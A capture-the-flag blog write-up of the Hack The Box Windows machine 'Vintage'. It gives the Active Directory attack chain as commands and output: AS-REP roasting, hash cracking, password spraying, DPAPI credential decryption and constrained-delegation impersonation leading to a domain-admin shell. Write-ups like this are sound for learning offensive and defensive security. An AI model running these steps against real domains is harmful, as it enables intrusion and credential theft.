0xW1LD

Logo

Just some 0xW1LD stuff...

View My GitHub Profile

26 April 2025

Vintage

by 0xW1LD

Vintage

Enumeration

Nmap finds the following ports open:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# nmap -Pn --min-rate 10000 -p- $TARGET
Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-29 18:35 AEDT
Nmap scan report for vintage.htb (10.10.11.45)
Host is up (0.035s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49668/tcp open  unknown
49674/tcp open  unknown
49685/tcp open  unknown
50014/tcp open  unknown
50089/tcp open  unknown

User

As is common in real life Windows pentests, you will start the Vintage box with credentials for the following account: P.Rosa / Rosaisbest123 I add the domain name and dc to /etc/hosts:

1
10.10.11.45 vintage.htb dc01.vintage.htb

and add my host as a nameserver in /etc/resolv.conf:

1
nameserver 10.10.14.25

Using these credentials I run bloodhound-python to gather data for bloodhound:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# bhpy -u P.Rosa -p 'Rosaisbest123' -c All -d vintage.htb -ns 10.10.11.45 --dns-tcp
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: vintage.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 16 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: FS01.vintage.htb
INFO: Querying computer: dc01.vintage.htb
WARNING: Could not resolve: FS01.vintage.htb: The DNS query name does not exist: FS01.vintage.htb.
INFO: Done in 00M 05S

User P.Rosa is a nested member of Pre-windows 2000 compatible group which means that she has read access over all the other members of that group, FS01 and gMSA computer and account respectively in particular. Bloodhound Data - Pre 200 Windows Computers According to this article: Pre-Windows 2000 Computers

1
2
3
When a new computer account is configured as "pre-Windows 2000 computer", its password is set based on its name (i.e. lowercase computer name without the trailing $). When it isn't, the password is randomly generated.

Once an authentication occurs for a pre-Windows 2000 computer, according to TrustedSec's blogpost, its password will usually need to be changed.

Therefore we have the credentials: FS01$:fs01 most services aren’t supported:

1
2
3
# nxc smb 10.10.11.45 -u 'FS01$' -p 'fs01'
SMB         10.10.11.45     445    10.10.11.45      [*]  x64 (name:10.10.11.45) (domain:10.10.11.45) (signing:True) (SMBv1:False)
SMB         10.10.11.45     445    10.10.11.45      [-] 10.10.11.45\FS01$:fs01 STATUS_NOT_SUPPORTED

However we can attempt to authenticate to Kerberos by requesting a TGT:

1
2
3
4
# getTGT.py -dc-ip "dc01.vintage.htb" "vintage.htb"/"FS01$":"fs01"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Saving ticket in FS01$.ccache

ensuring that each ccache file we gather is the new KRB5CCNAME:

1
# export KRB4CCNAME='FS01$.ccache'

FS01$ can read GMSA01’s GMSA password: Bloodhoun Data - Machine FS01 can read Machine GMSA01 Password We can abuse this by using

1
2
3
4
5
6
# bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword


distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:7dc430b95e17ed6f817f69366f35be06
msDS-ManagedPassword.B64ENCODED: sfyyjet8CbAO5HFzqbtcCtYlqyYohprMvCgeztWhv4z/WOQOS1zcslIn9C3K/ucxzjDGRgHJS/1a54nxI0DxzlhZElfBxQL2z0KpRCrUNdKbdHXU/kzFj/i38JFgOWrx2FMIGKrEEIohO3b2fA/U/vlPxw65M+kY2krLxl5tfD1Un1kMCByA1AI4VuR5zxXSfpnzFIxKlo1PKBJUxttMqbRM21I5/aLQnaIDCnr3WaqfU6lLwdGWxoz6XSD3UiqLaW5iDPYYR47kJpnflJgS0TBUBkvd2JiLiOb5CXF1gBgUsbVLtBo/OWW/+lrvEpBtS7QIUFsOKMIaNsKFGtTkWQ==

Gathering a TGT using the hashes:

1
2
3
# getTGT.py -dc-ip "dc01.vintage.htb" "vintage.htb"/"GMSA01$" -hashes aad3b435b51404eeaad3b435b51404ee:7dc430b95e17ed6f817f69366f35be06
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in GMSA01.ccache

ensuring that each ccache file we gather is the new KRB5CCNAME:

1
# export KRB4CCNAME='GMSA01$.ccache'

Next we can see that GMSA01 can write to ServiceManagers: Bloodhound Data - GMSA01 can write to Service Managers Using this, we can add our user P.Rosa to ServiceManagers: via BloodyAD:

1
2
 # bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" -k add groupMember "SERVICEMANAGERS" "P.Rosa"
[+] P.Rosa added to SERVICEMANAGERS

Generating a certificate for P.Rosa to make it easier to authenticate:

1
2
3
4
# getTGT.py -dc-ip "dc01.vintage.htb" "vintage.htb"/"P.Rosa":"Rosaisbest123"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Saving ticket in P.Rosa.ccache

ensuring that each ccache file we gather is the new KRB5CCNAME:

1
# export KRB4CCNAME='P.Rosa.ccache'

SERVICEMANAGERS have GenericAll on SVC accounts: Bloodhound Data - Service Managers group has Generic All Permissions on multiple SVC Accounts Abusing this we can disable Pre-Authentication checks on these users which allows us to conduct ASREPRoasting:

1
2
3
4
5
6
# bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac svc_sql -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_sql's userAccountControl
# bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac svc_ark -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_ark's userAccountControl
# bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac svc_ldap -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_ldap's userAccountControl

Ensuring that the svc accounts are enabled:

1
2
3
4
5
6
# bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
# bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" -k remove uac SVC_ark -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_ark's userAccountControl
# bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" -k remove uac SVC_ldap -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_ldap's userAccountControl

And then extract TGT which we can crack with hashcat using the following:

1
# GetNPUsers.py -usersfile users.txt -request -format hashcat -dc-ip 'dc01.vintage.htb' 'vintage.htb/' -outputfile ASREProastables.txt

using hashcat we can attempt to crack them:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# hashcat --hash-type 18200 --attack-mode 0 ASREProastables.txt `fzf-wordlists`
find: ‘/usr/share/wfuzz’: No such file or directory
                                                   find: ‘/usr/share/dirb’: No such file or directory
                                                                                                     hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD Ryzen 7 5800H with Radeon Graphics, 2541/5146 MB (1024 MB allocatable), 16MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 4 MB

Dictionary cache hit:
* Filename..: /opt/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

$krb5asrep$23$SVC_SQL@VINTAGE.HTB:d308a2a3a14a0bd29f49446e97e20023$c9c5ea68460fdbee6607aafac90c7706ddd3baba8091ef7d996489b003f846b161f17412be58d1827a047ddfa296b1360359c42876b23fc96ac628231ffd33768e41875d49acfec5259d32571a9db5aa33a02ba0ed3c12d540bcd0062b2436e1163f204dbe850667fa47bd653d86c540479f7161bc0aeb8b288eb56e762fac70376cb180348102d3d080ffb5263923aa9b964006a1bc829f44eba961c97f8a8719d6404d29e648ef8363375695c77689e6d3cc21a33ec1f958b9f22be5f9380b573e8cdf69dc67cad23537760609000c24d456cbefc2953a47a0bc964df8ad4c42b6db208a96bac78266:Zer0the0ne

we have svc_sql:Zer0the0ne! Checking if any account reused their password through a password spray:

1
2
3
4
5
6
7
8
9
10
11
# smartbrute brute -bU users.txt -bp "Zer0the0ne" kerberos -d "vintage.htb" --kdc-ip "vintage.htb"

[*] Starting bruteforce attack on passwords
┌─────────────┬─────────┬────────────┬──────────────────┐
│ domain      │ user    │ password   │ details          │
├─────────────┼─────────┼────────────┼──────────────────┤
│ vintage.htb │ SVC_SQL │ n/a        │ disabled         │
│ vintage.htb │ C.NERI  │ Zer0the0ne │ (probably valid) │
│ vintage.htb │ KRBTGT  │ n/a        │ disabled         │
│ vintage.htb │ GUEST   │ n/a        │ disabled         │
└─────────────┴─────────┴────────────┴──────────────────┘

Seeing this we have C.NERI! As usual grab the TGT:

1
2
3
4
# getTGT.py -dc-ip "dc01.vintage.htb" "vintage.htb"/"C.NERI":"Zer0the0ne"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Saving ticket in C.NERI.ccache

and ensure the ccache file is the new KRB5CCNAME:

1
# export KRB5CCNAME=C.NERI.ccache

Attempting evil-winrm through kerberos realms:

1
2
3
4
5
6
7
 # evil-winrm -i dc01.vintage.htb -r vintage.htb

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents> whoami
vintage\c.neri

In order to successfully winrm we have to write the domain details in our /etc/krb5.conf file.

Lateral Movement

Looking around we found DPAPI key and protected-data in Appdata/Roaming/Microsoft:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$  dir -h
    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   1:17 PM            740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs-          6/7/2024   1:17 PM            740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs-          6/7/2024   1:17 PM            904 BK-VINTAGE
-a-hs-          6/7/2024   1:17 PM             24 Preferred
$ dir -h

    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   5:08 PM            430 C4BB96844A5C9DD45D5B6A9859252BA6

downloading the masterkey from Protected and the protected-data from Credentials and then executing dpapi attack to get the key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# dpapi.py masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

And then using the key to unlock the Credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 # dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510d
f01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description :
Unknown     :
Username    : vintage\c.neri_adm
Unknown     : Uncr4ck4bl3P4ssW0rd0312

We have C.Neri_adm!

Root

Looking at Bloodhound we can see that C.NERI_ADM has GENERIC WRITE and ADD SELF to DELEGATEDADMINS Bloodhound Dta - C.Neri account having Generic Write and Add self to Delegate Admins Group We write SVC_SQL as a member of DELEGATEDADMINS:

1
2
# bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" -u "C.NERI_ADM" -p "Uncr4ck4bl3P4ssW0rd0312" -k add groupMember "DELEGATEDADMINS" "SVC_SQL"
[+] SVC_SQL added to DELEGATEDADMINS

We change SVC_SQL to a fake SPN which we can then use for Delegation to krbtgt

1
2
# bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" -k set object "SVC_SQL" servicePrincipalName -v "CIFS/w1ld"
[+] SVC_SQL's servicePrincipalName has been updated

Grabbing tgt as per usual:

1
2
3
4
# getTGT.py -dc-ip "dc01.vintage.htb" "vintage.htb"/"svc_sql":"Zer0the0ne"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Saving ticket in svc_sql.ccache

setting KRB5CCACHENAME env var:

1
# export KRB5CCNAME=svc_sql.ccache

Finally attacking L.BIANCHI_ADM with Constrained Delegation attack:

1
2
3
4
5
6
7
# getST.py -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Impersonating L.BIANCHI_ADM
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in L.BIANCHI_ADM.ccache

Set the KRB5CCNAME env var and authenticate with wmiexec:

1
2
3
4
5
6
7
8
9
10
11
# export KRB5CCNAME=L.BIANCHI_ADM.ccache
# wmiexec.py -k "dc01.vintage.htb"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
vintage\l.bianchi_adm

C:\>

And just like that we have root!

tags: diff/hard - os/windows